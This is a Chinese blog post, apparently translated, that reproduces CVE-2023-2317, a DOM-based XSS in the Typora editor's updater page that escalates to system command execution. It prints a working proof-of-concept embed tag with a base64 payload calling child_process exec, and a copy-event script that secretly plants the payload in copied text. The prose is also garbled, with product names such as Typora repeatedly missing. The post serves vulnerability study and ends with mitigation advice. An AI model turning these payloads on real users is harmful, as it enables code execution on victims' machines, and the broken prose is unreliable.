复制粘贴的代码会被发现吗/粘贴板漏洞-小白白帽子自学

复制粘贴的代码会被发现吗/粘贴板漏洞-小白白帽子自学

前言

本篇博文是《从0到1学习安全测试》中漏洞复现系列的第二篇博文,主要内容是分析 出现 XSS 漏洞的原因,对该漏洞进行复现,并在多场景中进行实现,往期系列文章请访问博主的 安全测试 专栏;

本文翻译自 (CVE-2023-2317) DOM-Based Cross-site to Code ,原文作者 Li (@);

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

展示

弹计算器,懂得都懂~

介绍

漏洞的 CVE 编号为 CVE-2023-2317,适用于 /Linux 上版本低于 1.6.7 的 。

是一款流行的跨平台 编辑器,允许用户创建和编辑具有实时预览功能的 文件。适用于 /Linux 的 基于 构建,该框架使其能够在各种操作系统上无缝运行。 编辑器支持 HTML 标签和嵌入外部网页。攻击者可以利用该漏洞通过在 编辑器中加载精心设计的 URL 来执行任意 代码和系统命令。

这个基于 DOM 的 XSS 漏洞源于通过在标签中加载 ://app/// 可以直接访问到 /.html,而 html 会接受传参并进行解析。因此通过精心构造的 文件可以在 主窗口的上下文中运行任意 代码。如果用户在 中打开恶意的 文件,或者从恶意网页复制文本并粘贴到 中,则可能会利用此漏洞。

分析

在 ///.html 中存在基于 DOM 的 XSS 漏洞的代码如下所示:

<div class="btn-group">
  <div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
    <button onClick="onSkipUpdate()" data-label="1" >Skip This Versionbutton>
  div>
  <button onClick="onCancelUpdate()" data-label="2" >Remind Me Laterbutton>
  <button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Updatebutton>
div>
<script type="text/javascript">
  // ...
  var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));        // [1]
  document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
  document.querySelectorAll("[data-label]").forEach(function(dom){
    dom.innerHTML = labels[dom.getAttribute("data-label") - 0];     // [2]
  });
  // ...
script>

上述代码的作用解释如下:

HTML 部分定义了一个包含多个按钮的按钮组 btn-group。按钮组内部有三个按钮,分别具有不同的功能:

部分代码的主要作用:

而 dom.会被从数组中获取的内容文本赋值正是导致 XSS 漏洞的关键点,因为 的参数可控并且可以含有恶意的 代码,会导致 dom. 直接使用恶意的没有经过任何转义的外部输入,触发 代码的执行。

下面将一个 标签注入 DOM 中,代码如下所示:

updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["","22","33","44","55","66","77"]

运行结果:

复现

注册了一个文件处理程序 :// 来加载本地资源。例如,主窗口的 URL 是 ://app//.html,实际文件是从路径 [ Path]//.html 加载的。

攻击者可以通过 将 src 属性设置为 ://app///.html 来将存在漏洞的 .html 加载到标签内。在这种情况下,://app//.html 在主窗口中加载的内容和嵌入的 .html 页面被视为同源。因此,.html 能够访问暴露于主窗口的特权接口,例如 。

image.png

通过嵌入带有精心设计的 DOM-XSS 负载的 URL 到 .html 中,攻击者能够在主窗口上执行任意的 代码。此外,攻击者可以使用 主窗口中的特权界面来访问节点模块 并执行任意系统命令。

编写 PoC 代码如下所示:

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">embed>

PoC 代码中的 编码部分被解码为以下内容:

reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

当这个 PoC 加载到 中时,它将:

将 DOM-XSS 负载加载到 .html中;有效负载将在主窗口上执行 代码;执行系统命令:在 上执行 ,或在 Linux 上执行 gnome-;场景一:打开恶意 文件

攻击者可以在 文件中注入嵌入标签,并说服受害者在 中打开它以触发有效负载。

场景二:从网页复制并粘贴

攻击者可以制作恶意网页并使用以下代码来挂钩该 copy 事件:

<script>
    document.addEventListener('copy', e=>{
        e.preventDefault();
        let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
        e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
        console.log(payload + window.getSelection())
    })
script>

当受害者从该页面复制文本时,有效负载会添加到复制的内容中,并在粘贴到 时触发。

措施

(1)不要在 中打开任何不受信任的 文件。

(2)应避免从不受信任的网页复制文本然后将其粘贴到 中。

后记

本文复现了 /Linux 客户端中存在的 XSS 漏洞,通过本案例提醒各位读者,最好不要打开任何不受信任的 文件或者从不受信任的网页复制文本然后将其粘贴到 中,提高自身的安全意识,谨防跨站脚本攻击!

以上就是博文使用 的程序员注意了!不要再复制粘贴了!的所有内容了,希望对大家有所帮助!

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

上篇精讲:小心!谨慎点击 好友的消息链接!

我是,期待你的关注,创作不易,请多多支持;

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值